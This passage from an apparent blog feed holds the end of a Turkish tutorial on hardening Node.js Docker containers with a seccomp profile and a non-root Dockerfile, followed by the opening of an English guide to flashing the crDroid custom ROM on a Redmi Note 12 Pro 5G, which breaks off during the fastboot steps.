B&ouml;ylece konteyner kapand&inodot;&gbreve;&inodot; anda t&uuml;m ge&ccedil;ici dosyalar silinir.</p> <hr/> <h2 id="adm-4-seccomp-profili-uygulayn">🔒 Ad&inodot;m 4: Seccomp Profili Uygulay&inodot;n<a class="headerlink" href="#adm-4-seccomp-profili-uygulayn" title="Permanent link">#</a></h2> <p>Seccomp (Secure Computing Mode)<sup id="fnref:2"><a class="footnote-ref" href="#fn:2">2</a></sup>, bir s&uuml;recin i&scedil;letim sistemi &ccedil;ekirde&gbreve;ine yapabilece&gbreve;i sistem &ccedil;a&gbreve;r&inodot;lar&inodot;n&inodot; (syscall) filtrelemeye yarar. Docker varsay&inodot;lan olarak tehlikeli olan yakla&scedil;&inodot;k 50 sistem &ccedil;a&gbreve;r&inodot;s&inodot;n&inodot; engeller. Ancak biz bunu Node.js'in ihtiya&ccedil;lar&inodot;na g&ouml;re daha da daraltabiliriz.</p> <p>A&scedil;a&gbreve;&inodot;daki <code>node-seccomp.json</code> profili, Node.js'in normal &ccedil;al&inodot;&scedil;mas&inodot;n&inodot; engellemeden gereksiz t&uuml;m &ccedil;a&gbreve;r&inodot;lar&inodot; (&ouml;rne&gbreve;in reboot, swapon vb.) bloke eder:</p> <div class="highlight"><pre><span></span><code><span class="p">{</span> <span class="w"> </span><span class="nt">"defaultAction"</span><span class="p">:</span><span class="w"> </span><span class="s2">"SCMP_ACT_ERRNO"</span><span class="p">,</span> <span class="w"> </span><span class="nt">"architectures"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">"SCMP_ARCH_X86_64"</span><span class="p">,</span><span class="w"> </span><span class="s2">"SCMP_ARCH_AARCH64"</span><span class="p">],</span> <span class="w"> </span><span class="nt">"syscalls"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span> <span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="nt">"names"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span> <span class="w"> </span><span class="s2">"accept"</span><span class="p">,</span><span class="w"> </span><span class="s2">"accept4"</span><span class="p">,</span><span class="w"> </span><span class="s2">"access"</span><span class="p">,</span><span class="w"> </span><span class="s2">"arch_prctl"</span><span class="p">,</span><span class="w"> </span><span class="s2">"bind"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"brk"</span><span class="p">,</span><span class="w"> </span><span class="s2">"capget"</span><span class="p">,</span><span class="w"> </span><span class="s2">"capset"</span><span class="p">,</span><span class="w"> </span><span class="s2">"chdir"</span><span class="p">,</span><span class="w"> </span><span class="s2">"chmod"</span><span class="p">,</span><span class="w"> </span><span class="s2">"chown"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"clock_getres"</span><span class="p">,</span><span class="w"> </span><span class="s2">"clock_gettime"</span><span class="p">,</span><span class="w"> </span><span class="s2">"clock_nanosleep"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"clone"</span><span class="p">,</span><span class="w"> </span><span class="s2">"clone3"</span><span class="p">,</span><span class="w"> </span><span class="s2">"close"</span><span class="p">,</span><span class="w"> </span><span class="s2">"connect"</span><span class="p">,</span><span class="w"> </span><span class="s2">"copy_file_range"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"creat"</span><span class="p">,</span><span class="w"> </span><span class="s2">"dup"</span><span class="p">,</span><span class="w"> </span><span class="s2">"dup2"</span><span class="p">,</span><span class="w"> </span><span class="s2">"dup3"</span><span class="p">,</span><span class="w"> </span><span class="s2">"epoll_create1"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"epoll_ctl"</span><span class="p">,</span><span class="w"> </span><span class="s2">"epoll_pwait"</span><span class="p">,</span><span class="w"> </span><span class="s2">"eventfd2"</span><span class="p">,</span><span class="w"> </span><span class="s2">"execve"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"exit"</span><span class="p">,</span><span class="w"> </span><span class="s2">"exit_group"</span><span class="p">,</span><span class="w"> </span><span class="s2">"faccessat2"</span><span class="p">,</span><span class="w"> </span><span class="s2">"fadvise64"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"fallocate"</span><span class="p">,</span><span class="w"> </span><span class="s2">"fchdir"</span><span class="p">,</span><span class="w"> </span><span class="s2">"fchmod"</span><span class="p">,</span><span class="w"> </span><span class="s2">"fchmodat"</span><span class="p">,</span><span class="w"> </span><span class="s2">"fchown"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"fchownat"</span><span class="p">,</span><span class="w"> </span><span class="s2">"fcntl"</span><span class="p">,</span><span class="w"> </span><span class="s2">"fdatasync"</span><span class="p">,</span><span class="w"> </span><span class="s2">"fgetxattr"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"flistxattr"</span><span class="p">,</span><span class="w"> </span><span class="s2">"flock"</span><span class="p">,</span><span class="w"> </span><span class="s2">"fork"</span><span class="p">,</span><span class="w"> </span><span class="s2">"fremovexattr"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"fsetxattr"</span><span class="p">,</span><span class="w"> </span><span class="s2">"fstat"</span><span class="p">,</span><span class="w"> </span><span class="s2">"fstatfs"</span><span class="p">,</span><span class="w"> </span><span class="s2">"fsync"</span><span class="p">,</span><span class="w"> </span><span class="s2">"ftruncate"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"futex"</span><span class="p">,</span><span class="w"> </span><span class="s2">"getcwd"</span><span class="p">,</span><span class="w"> </span><span class="s2">"getdents64"</span><span class="p">,</span><span class="w"> </span><span class="s2">"getegid"</span><span class="p">,</span><span class="w"> </span><span class="s2">"geteuid"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"getgid"</span><span class="p">,</span><span class="w"> </span><span class="s2">"getpeername"</span><span class="p">,</span><span class="w"> </span><span class="s2">"getpgid"</span><span class="p">,</span><span class="w"> </span><span class="s2">"getpgrp"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"getpid"</span><span class="p">,</span><span class="w"> </span><span class="s2">"getppid"</span><span class="p">,</span><span class="w"> </span><span class="s2">"getpriority"</span><span class="p">,</span><span class="w"> </span><span class="s2">"getrandom"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"getresgid"</span><span class="p">,</span><span class="w"> </span><span class="s2">"getresuid"</span><span class="p">,</span><span class="w"> </span><span class="s2">"getrlimit"</span><span class="p">,</span><span class="w"> </span><span class="s2">"getrusage"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"getsockname"</span><span class="p">,</span><span class="w"> </span><span class="s2">"getsockopt"</span><span class="p">,</span><span class="w"> </span><span class="s2">"gettid"</span><span class="p">,</span><span class="w"> </span><span class="s2">"gettimeofday"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"getuid"</span><span class="p">,</span><span class="w"> </span><span class="s2">"getxattr"</span><span class="p">,</span><span class="w"> </span><span class="s2">"inotify_add_watch"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"inotify_init1"</span><span class="p">,</span><span class="w"> </span><span class="s2">"inotify_rm_watch"</span><span class="p">,</span><span class="w"> </span><span class="s2">"ioctl"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"ioprio_get"</span><span class="p">,</span><span class="w"> </span><span class="s2">"ioprio_set"</span><span class="p">,</span><span class="w"> </span><span class="s2">"kcmp"</span><span class="p">,</span><span class="w"> </span><span class="s2">"kill"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"lgetxattr"</span><span class="p">,</span><span class="w"> </span><span class="s2">"link"</span><span class="p">,</span><span class="w"> </span><span class="s2">"linkat"</span><span class="p">,</span><span class="w"> </span><span class="s2">"listen"</span><span class="p">,</span><span class="w"> </span><span class="s2">"listxattr"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"llistxattr"</span><span class="p">,</span><span class="w"> </span><span class="s2">"lremovexattr"</span><span class="p">,</span><span class="w"> </span><span class="s2">"lseek"</span><span class="p">,</span><span class="w"> </span><span class="s2">"lsetxattr"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"lstat"</span><span class="p">,</span><span class="w"> </span><span class="s2">"madvise"</span><span class="p">,</span><span class="w"> </span><span class="s2">"mbind"</span><span class="p">,</span><span class="w"> </span><span class="s2">"memfd_create"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"membarrier"</span><span class="p">,</span><span class="w"> </span><span class="s2">"mincore"</span><span class="p">,</span><span class="w"> </span><span class="s2">"mkdir"</span><span class="p">,</span><span class="w"> </span><span class="s2">"mkdirat"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"mlock"</span><span class="p">,</span><span class="w"> </span><span class="s2">"mlock2"</span><span class="p">,</span><span class="w"> </span><span class="s2">"mmap"</span><span class="p">,</span><span class="w"> </span><span class="s2">"mmap_cache"</span><span class="p">,</span><span class="w"> </span><span class="s2">"mount"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"move_mount"</span><span class="p">,</span><span class="w"> </span><span class="s2">"mprotect"</span><span class="p">,</span><span class="w"> </span><span class="s2">"mquery"</span><span class="p">,</span><span class="w"> </span><span class="s2">"mremap"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"msgctl"</span><span class="p">,</span><span class="w"> </span><span class="s2">"msgget"</span><span class="p">,</span><span class="w"> </span><span class="s2">"msgrcv"</span><span class="p">,</span><span class="w"> </span><span class="s2">"msgsnd"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"msync"</span><span class="p">,</span><span class="w"> </span><span class="s2">"munlock"</span><span class="p">,</span><span class="w"> </span><span class="s2">"munmap"</span><span class="p">,</span><span class="w"> </span><span class="s2">"name_to_handle_at"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"nanosleep"</span><span class="p">,</span><span class="w"> </span><span class="s2">"newfstatat"</span><span class="p">,</span><span class="w"> </span><span class="s2">"open"</span><span class="p">,</span><span class="w"> </span><span class="s2">"openat"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"openat2"</span><span class="p">,</span><span class="w"> </span><span class="s2">"pause"</span><span class="p">,</span><span class="w"> </span><span class="s2">"pidfd_getfd"</span><span class="p">,</span><span class="w"> </span><span class="s2">"pidfd_open"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"pidfd_send_signal"</span><span class="p">,</span><span class="w"> </span><span class="s2">"pipe"</span><span class="p">,</span><span class="w"> </span><span class="s2">"pipe2"</span><span class="p">,</span><span class="w"> </span><span class="s2">"poll"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"ppoll"</span><span class="p">,</span><span class="w"> </span><span class="s2">"prctl"</span><span class="p">,</span><span class="w"> </span><span class="s2">"pread64"</span><span class="p">,</span><span class="w"> </span><span class="s2">"preadv"</span><span class="p">,</span><span class="w"> </span><span class="s2">"preadv2"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"prlimit64"</span><span class="p">,</span><span class="w"> </span><span class="s2">"process_vm_readv"</span><span class="p">,</span><span class="w"> </span><span class="s2">"pselect6"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"pwrite64"</span><span class="p">,</span><span class="w"> </span><span class="s2">"pwritev"</span><span class="p">,</span><span class="w"> </span><span class="s2">"pwritev2"</span><span class="p">,</span><span class="w"> </span><span class="s2">"read"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"readlink"</span><span class="p">,</span><span class="w"> </span><span class="s2">"readlinkat"</span><span class="p">,</span><span class="w"> </span><span class="s2">"readv"</span><span class="p">,</span><span class="w"> </span><span class="s2">"recvfrom"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"recvmmsg"</span><span class="p">,</span><span class="w"> </span><span class="s2">"recvmsg"</span><span class="p">,</span><span class="w"> </span><span class="s2">"rename"</span><span class="p">,</span><span class="w"> </span><span class="s2">"renameat"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"renameat2"</span><span class="p">,</span><span class="w"> </span><span class="s2">"restart_syscall"</span><span class="p">,</span><span class="w"> </span><span class="s2">"rmdir"</span><span class="p">,</span><span class="w"> </span><span class="s2">"rseq"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"rt_sigaction"</span><span class="p">,</span><span class="w"> </span><span class="s2">"rt_sigpending"</span><span class="p">,</span><span class="w"> </span><span class="s2">"rt_sigprocmask"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"rt_sigqueueinfo"</span><span class="p">,</span><span class="w"> </span><span class="s2">"rt_sigreturn"</span><span class="p">,</span><span class="w"> </span><span class="s2">"rt_sigsuspend"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"rt_sigtimedwait"</span><span class="p">,</span><span class="w"> </span><span class="s2">"sched_getaffinity"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"sched_getattr"</span><span class="p">,</span><span class="w"> </span><span class="s2">"sched_getparam"</span><span class="p">,</span><span class="w"> </span><span class="s2">"sched_getscheduler"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"sched_rr_get_interval"</span><span class="p">,</span><span class="w"> </span><span class="s2">"sched_setaffinity"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"sched_setattr"</span><span class="p">,</span><span class="w"> </span><span class="s2">"sched_setparam"</span><span class="p">,</span><span class="w"> </span><span class="s2">"sched_setscheduler"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"sched_yield"</span><span class="p">,</span><span class="w"> </span><span class="s2">"seccomp"</span><span class="p">,</span><span class="w"> </span><span class="s2">"select"</span><span class="p">,</span><span class="w"> </span><span class="s2">"semctl"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"semget"</span><span class="p">,</span><span class="w"> </span><span class="s2">"semop"</span><span class="p">,</span><span class="w"> </span><span class="s2">"semtimedop"</span><span class="p">,</span><span class="w"> </span><span class="s2">"sendfile"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"sendmmsg"</span><span class="p">,</span><span class="w"> </span><span class="s2">"sendmsg"</span><span class="p">,</span><span class="w"> </span><span class="s2">"sendto"</span><span class="p">,</span><span class="w"> </span><span class="s2">"set_gid"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"set_robust_list"</span><span class="p">,</span><span class="w"> </span><span class="s2">"set_tid_address"</span><span class="p">,</span><span class="w"> </span><span class="s2">"setdomainname"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"setgid"</span><span class="p">,</span><span class="w"> </span><span class="s2">"setgroups"</span><span class="p">,</span><span class="w"> </span><span class="s2">"sethostname"</span><span class="p">,</span><span class="w"> </span><span class="s2">"setitimer"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"setpgid"</span><span class="p">,</span><span class="w"> </span><span class="s2">"setpriority"</span><span class="p">,</span><span class="w"> </span><span class="s2">"setregid"</span><span class="p">,</span><span class="w"> </span><span class="s2">"setresgid"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"setresuid"</span><span class="p">,</span><span class="w"> </span><span class="s2">"setreuid"</span><span class="p">,</span><span class="w"> </span><span class="s2">"setrlimit"</span><span class="p">,</span><span class="w"> </span><span class="s2">"setsid"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"setsockopt"</span><span class="p">,</span><span class="w"> </span><span class="s2">"setuid"</span><span class="p">,</span><span class="w"> </span><span class="s2">"shmctl"</span><span class="p">,</span><span class="w"> </span><span class="s2">"shmdt"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"shmget"</span><span class="p">,</span><span class="w"> </span><span class="s2">"shutdown"</span><span class="p">,</span><span class="w"> </span><span class="s2">"sigaltstack"</span><span class="p">,</span><span class="w"> </span><span class="s2">"signalfd4"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"socket"</span><span class="p">,</span><span class="w"> </span><span class="s2">"socketpair"</span><span class="p">,</span><span class="w"> </span><span class="s2">"splice"</span><span class="p">,</span><span class="w"> </span><span class="s2">"stat"</span><span class="p">,</span><span class="w"> </span><span class="s2">"statfs"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"statx"</span><span class="p">,</span><span class="w"> </span><span class="s2">"symlink"</span><span class="p">,</span><span class="w"> </span><span class="s2">"symlinkat"</span><span class="p">,</span><span class="w"> </span><span class="s2">"sync"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"sync_file_range"</span><span class="p">,</span><span class="w"> </span><span class="s2">"sysinfo"</span><span class="p">,</span><span class="w"> </span><span class="s2">"tee"</span><span class="p">,</span><span class="w"> </span><span class="s2">"tgkill"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"time"</span><span class="p">,</span><span class="w"> </span><span class="s2">"timer_create"</span><span class="p">,</span><span class="w"> </span><span class="s2">"timer_delete"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"timer_getoverrun"</span><span class="p">,</span><span class="w"> </span><span class="s2">"timer_gettime"</span><span class="p">,</span><span class="w"> </span><span class="s2">"timer_settime"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"timerfd_create"</span><span class="p">,</span><span class="w"> </span><span class="s2">"timerfd_gettime"</span><span class="p">,</span><span class="w"> </span><span class="s2">"timerfd_settime"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"tkill"</span><span class="p">,</span><span class="w"> </span><span class="s2">"truncate"</span><span class="p">,</span><span class="w"> </span><span class="s2">"umask"</span><span class="p">,</span><span class="w"> </span><span class="s2">"uname"</span><span class="p">,</span><span class="w"> </span><span class="s2">"unlink"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"unlinkat"</span><span class="p">,</span><span class="w"> </span><span class="s2">"unshare"</span><span class="p">,</span><span class="w"> </span><span class="s2">"utimensat"</span><span class="p">,</span><span class="w"> </span><span class="s2">"utimes"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"vfork"</span><span class="p">,</span><span class="w"> </span><span class="s2">"vmsplice"</span><span class="p">,</span><span class="w"> </span><span class="s2">"wait4"</span><span class="p">,</span><span class="w"> </span><span class="s2">"waitid"</span><span class="p">,</span><span class="w"> </span><span class="s2">"write"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"writev"</span> <span class="w"> </span><span class="p">],</span> <span class="w"> </span><span class="nt">"action"</span><span class="p">:</span><span class="w"> </span><span class="s2">"SCMP_ACT_ALLOW"</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="p">]</span> <span class="p">}</span> </code></pre></div> <p>Bu profili uygulamak i&ccedil;in:</p> <div class="highlight"><pre><span></span><code>$<span class="w"> </span>docker<span class="w"> </span>run<span class="w"> </span>--security-opt<span class="w"> </span><span class="nv">seccomp</span><span class="o">=</span>node-seccomp.json<span class="w"> </span>my-app </code></pre></div> <hr/> <h2 id="hepsini-bir-araya-getirelim-guvenli-dockerfile">🏗️ Hepsini Bir Araya Getirelim: G&uuml;venli Dockerfile<a class="headerlink" href="#hepsini-bir-araya-getirelim-guvenli-dockerfile" title="Permanent link">#</a></h2> <p>Bahsetti&gbreve;imiz t&uuml;m ad&inodot;mlar&inodot; ve sinyal y&ouml;netimini d&uuml;zg&uuml;n yapan <code>tini</code> entegrasyonunu i&ccedil;eren, &uuml;retime (production) haz&inodot;r g&uuml;venli Dockerfile &scedil;ablonumuz &scedil;&ouml;yledir:</p> <div class="highlight"><pre><span></span><code><span class="c"># 1. A&scedil;ama: Derleme (Build)</span> <span class="k">FROM</span><span class="w"> </span><span class="s">node:20-slim</span><span class="w"> </span><span class="k">AS</span><span class="w"> </span><span class="s">builder</span> <span class="k">WORKDIR</span><span class="w"> </span><span class="s">/app</span> <span class="k">COPY</span><span class="w"> </span>package*.json<span class="w"> </span>./ <span class="k">RUN</span><span class="w"> </span>npm<span class="w"> </span>ci<span class="w"> </span>--only<span class="o">=</span>production <span class="c"># 2. A&scedil;ama: &Ccedil;al&inodot;&scedil;t&inodot;rma (Runtime)</span> <span class="k">FROM</span><span class="w"> </span><span class="s">node:20-slim</span> <span class="k">RUN</span><span class="w"> </span>groupadd<span class="w"> </span>--system<span class="w"> </span>--gid<span class="w"> </span><span class="m">1000</span><span class="w"> </span>appuser<span class="w"> </span><span class="o">&amp;&amp;</span><span class="w"> </span><span class="se">\</span> <span class="w"> </span>useradd<span class="w"> </span>--system<span class="w"> </span>--uid<span class="w"> </span><span class="m">1000</span><span class="w"> </span>--gid<span class="w"> </span>appuser<span class="w"> </span>appuser <span class="k">WORKDIR</span><span class="w"> </span><span class="s">/app</span> <span class="c"># Dosyalar&inodot; do&gbreve;rudan root olmayan kullan&inodot;c&inodot;n&inodot;n sahipli&gbreve;inde kopyal&inodot;yoruz</span> <span class="k">COPY</span><span class="w"> </span>--from<span class="o">=</span>builder<span class="w"> </span>--chown<span class="o">=</span>appuser:appuser<span class="w"> </span>/app/node_modules<span class="w"> </span>./node_modules <span class="k">COPY</span><span class="w"> </span>--chown<span class="o">=</span>appuser:appuser<span class="w"> </span>.<span class="w"> </span>. <span class="k">USER</span><span class="w"> </span><span class="s">appuser</span> <span class="k">EXPOSE</span><span class="w"> </span><span class="s">3000</span> <span class="c"># Sinyal y&ouml;netimi i&ccedil;in tini kurulumu yap&inodot;yoruz</span> <span class="k">RUN</span><span class="w"> </span>apt-get<span class="w"> </span>update<span class="w"> </span><span class="o">&amp;&amp;</span><span class="w"> </span>apt-get<span class="w"> </span>install<span class="w"> </span>-y<span class="w"> </span>--no-install-recommends<span class="w"> </span>tini<span class="w"> </span><span class="o">&amp;&amp;</span><span class="w"> </span><span class="se">\</span> <span class="w"> </span>apt-get<span class="w"> </span>clean<span class="w"> </span><span class="o">&amp;&amp;</span><span class="w"> </span>rm<span class="w"> </span>-rf<span class="w"> </span>/var/lib/apt/lists/* <span class="k">ENTRYPOINT</span><span class="w"> </span><span class="p">[</span><span class="s2">"/usr/bin/tini"</span><span class="p">,</span><span class="w"> </span><span class="s2">"--"</span><span class="p">]</span> <span class="k">CMD</span><span class="w"> </span><span class="p">[</span><span class="s2">"node"</span><span class="p">,</span><span class="w"> </span><span class="s2">"server.js"</span><span class="p">]</span> </code></pre></div> <p>Konteyner g&uuml;venli&gbreve;i, ba&scedil;&inodot;m&inodot;za bir olay gelene kadar erteledi&gbreve;imiz ama ba&scedil;&inodot;m&inodot;za geldi&gbreve;inde geriye d&ouml;n&uuml;k d&uuml;zeltmesi en sanc&inodot;l&inodot; olan konulardan biridir. Konsept kurulum a&scedil;amas&inodot;nda bu d&ouml;rt ad&inodot;m&inodot; (root olmayan kullan&inodot;c&inodot;, yeteneklerin d&uuml;&scedil;&uuml;r&uuml;lmesi, salt okunur dosya sistemi ve seccomp) uygulamak s&inodot;f&inodot;r maliyetlidir ve sonras&inodot;nda ya&scedil;anacak g&uuml;venlik sanc&inodot;lar&inodot;n&inodot;n &ouml;n&uuml;ne ge&ccedil;er.</p> <h2 id="ilgili-yazlar">🔗 &Idot;lgili Yaz&inodot;lar<a class="headerlink" href="#ilgili-yazlar" title="Permanent link">#</a></h2> <ul> <li><a href="/nginx-ters-vekil-sunucu-yapilandirmak/">Nginx'i Ters Vekil Sunucu Olarak Yap&inodot;land&inodot;rmak</a></li> <li><a href="/docker-imaj-boyutu-kucultme-rehberi/">&Scedil;i&scedil;ko Docker &Idot;majlar&inodot;na Diyet: 1.2 GB'tan 78 MB'a Yolculuk</a></li> <li><a href="/linux-tcp-tuning-node-js-microservices/">Node.js Mikroservisleri &Idot;&ccedil;in Linux TCP Tuning ve Kernel Ayarlar&inodot;</a></li> </ul> <div class="footnote"> <hr/> <ol> <li id="fn:1"> <p>Linux yetenekleri, root yetkilerini daha k&uuml;&ccedil;&uuml;k par&ccedil;alara b&ouml;lerek i&scedil;lemlere da&gbreve;&inodot;tan g&uuml;venlik mekanizmas&inodot;d&inodot;r.&nbsp;<a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text">&larrhk;</a></p> </li> <li id="fn:2"> <p>Secure Computing Mode; sistem &ccedil;a&gbreve;r&inodot;lar&inodot;n&inodot; filtreleyerek &ccedil;ekirdek d&uuml;zeyinde k&inodot;s&inodot;tlamalar uygulayan Linux g&uuml;venlik mod&uuml;l&uuml;d&uuml;r.&nbsp;<a class="footnote-backref" href="#fnref:2" title="Jump back to footnote 2 in the text">&larrhk;</a></p> </li> </ol> </div>2026-06-14T00:22:00+03:002026-06-14T00:22:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2026-06-14:/en/redmi-note-12-pro-5g-crdroid-kurulum-rehberi/

<p>Step-by-step guide to installing crDroid Custom ROM on your Redmi Note 12 Pro 5G (ruby/rubyx) using OrangeFox Recovery.</p>

<p>I had previously written a <a href="/en/redmi-note-8-pro-custom-rom-kurulumu/">Redmi Note 8 Pro Custom ROM Installation</a><sup id="fnref:4"><a class="footnote-ref" href="#fn:4">4</a></sup> guide for myself. I had grown so used to the crDroid world that I loved using on my old Redmi Note 8 that I didn't expect the next adventure to be this "wet".</p> <p>Here is exactly how it went down, my friend: while my wife was cleaning the house, our toddler got mad at a video on YouTube Kids. Unable to control their anger, they dunked the Redmi Note 12 Pro 5G into the mop bucket a few times, performing an experimental "water resistance test" of their own, and then handed the phone to their mom. Of course, the phone was knocked out instantly. After buying a new phone for my wife, I had this old workhorse repaired, and it ended up with me.</p> <p>But when I turned the device on, those ridiculous ads, unremovable bloatware, and that bloated interface that doesn't get updates (HyperOS) annoyed me so much that I said, "It's time to bring the crDroid joy of the old Note 8 to this one." So today, I'll explain step-by-step how to install crDroid on our famous device code-named ruby<sup id="fnref:1"><a class="footnote-ref" href="#fn:1">1</a></sup> from scratch, using the method I applied myself.</p> <p>Installing custom ROMs on MediaTek processors always seems a bit scary, but when you follow the right steps, the process is actually quite simple. If you follow this guide to the end, you will rescue your device from the sluggishness of HyperOS and enjoy a buttery-smooth crDroid experience.</p> <div class="admonition danger"> <p class="admonition-title">Data Loss Warning</p> <p>During these operations, all data on your device will be completely wiped. Make sure you transfer your photos, backups, and important files to your computer. Also, these operations might void your device's warranty. The responsibility is entirely yours.</p> </div> <div class="admonition warning"> <p class="admonition-title">Imported (Repaired) Devices and EFS / NVRAM Warning</p> <p>On MediaTek devices with a virtual A/B partition table, during a clean install (Format Data) or ROM migrations, the <strong>EFS, NVRAM, and NVDATA</strong> partitions that house the device's network calibration and hardware identity files might be wiped. Therefore:</p> <ul> <li><strong>Backup:</strong> Before starting the process, it is recommended to back up these partitions via an advanced recovery tool like <strong>TWRP or OrangeFox</strong> on your device and save it to your computer. The crDroid Recovery does not support backups.</li> <li><strong>Imported Devices:</strong> If you have an imported device and its network activation (IMEI process) was done via software modifications, the Format Data or ROM installation steps will wipe this software patch and return the device to its factory settings. Even if you complete the setup successfully and do bootloader spoofing, you will definitely need to visit a technician to renew the patching process to get your network working again. The most trouble-free way for this process is to apply it on official, BTK-approved Turkish licensed devices. If you are going to apply this guide on an imported device, you should know from the start that such an external technical service expense will arise.</li> </ul> </div> <hr/> <h2 id="pre-installation-preparations">🛠️ Pre-Installation Preparations<a class="headerlink" href="#pre-installation-preparations" title="Permanent link">#</a></h2> <p>Before starting the operations, some tools need to be ready on our computer and phone:</p> <ol> <li><strong>Unlocked Bootloader:</strong> Your device's bootloader must be unlocked. You cannot install a custom ROM if the bootloader is locked.</li> <li><strong>Platform Tools:</strong> Drivers must be installed for ADB and Fastboot commands to run on your computer.</li> <li><strong>Files:</strong> You need to download and prepare the following files on your computer:<ul> <li>The <strong>crDroid ROM zip</strong> file compatible with Redmi Note 12 Pro 5G. You can download the files from the official <a href="https://crdroid.net/rubyx" rel="noopener noreferrer" target="_blank">crDroid.net/rubyx</a> page (make sure to choose the file carrying the common code-name <code>rubyx</code> when downloading).</li> <li>The <strong>crDroid Recovery (<code>boot.img</code>)</strong> file compatible with your device. (Due to the virtual A/B structure, the recovery is directly inside the boot partition).</li> <li>The <strong>GApps</strong> package compatible with your ROM version if you want to use Google services<sup id="fnref:2"><a class="footnote-ref" href="#fn:2">2</a></sup>.</li> <li>(Optional) <strong>Magisk zip</strong> file if you want root privileges<sup id="fnref:3"><a class="footnote-ref" href="#fn:3">3</a></sup>.</li> <li><strong>Bootloader Spoofing files</strong> for network and baseband activation: <code>ruby-lk-kaeru.bin.signed.img</code> and <code>preloader_raw.img</code> (or <code>preloader_ruby.bin</code>)<sup id="fnref:5"><a class="footnote-ref" href="#fn:5">5</a></sup>. You can obtain these from the <a href="https://drive.google.com/drive/folders/1kSbwkNFpNVxVgadq-oOEmCSmMPY_GBID?usp=sharing" rel="noopener noreferrer" target="_blank">Google Drive</a> folder.</li> </ul> </li> </ol> <hr/> <h2 id="step-by-step-installation-stages">🏗️ Step-by-Step Installation Stages<a class="headerlink" href="#step-by-step-installation-stages" title="Permanent link">#</a></h2> <h3 id="verifying-device-model-and-connection-optional">Verifying Device Model and Connection (Optional)<a class="headerlink" href="#verifying-device-model-and-connection-optional" title="Permanent link">#</a></h3> <p>Before starting the process, make sure your phone is turned on, USB Debugging is active, and verify with these commands from your computer:</p> <div class="highlight"><pre><span></span><code>$<span class="w"> </span>adb<span class="w"> </span>devices List<span class="w"> </span>of<span class="w"> </span>devices<span class="w"> </span>attached 79orfygmgecmw84t<span class="w"> </span>device $<span class="w"> </span>adb<span class="w"> </span>shell<span class="w"> </span>getprop<span class="w"> </span>ro.product.device ruby $<span class="w"> </span>adb<span class="w"> </span>shell<span class="w"> </span>getprop<span class="w"> </span>ro.product.model 22101316G </code></pre></div> <p>If you see the device identity and <code>ruby</code> code-name as above, your device is perfectly suited for this guide.</p> <h3 id="step-1-putting-the-device-into-fastboot-mode">Step 1: Putting the Device into Fastboot Mode<a class="headerlink" href="#step-1-putting-the-device-into-fastboot-mode" title="Permanent link">#</a></h3> <p>First, we put our phone into Fastboot mode so we can send commands from the computer.</p> <ul> <li><strong>Recommended Method (Command Line):</strong> If your phone is turned on and connected to the computer, you can switch directly to Fastboot mode by entering this command in the terminal: <code>bash $ adb reboot bootloader</code></li> <li><strong>Alternative Method (Key Combination):</strong> When the phone is turned off, press and hold the <strong>Power</strong> and <strong>Volume Down</strong> keys at the same time. Release the keys when you see the "FASTBOOT" text or 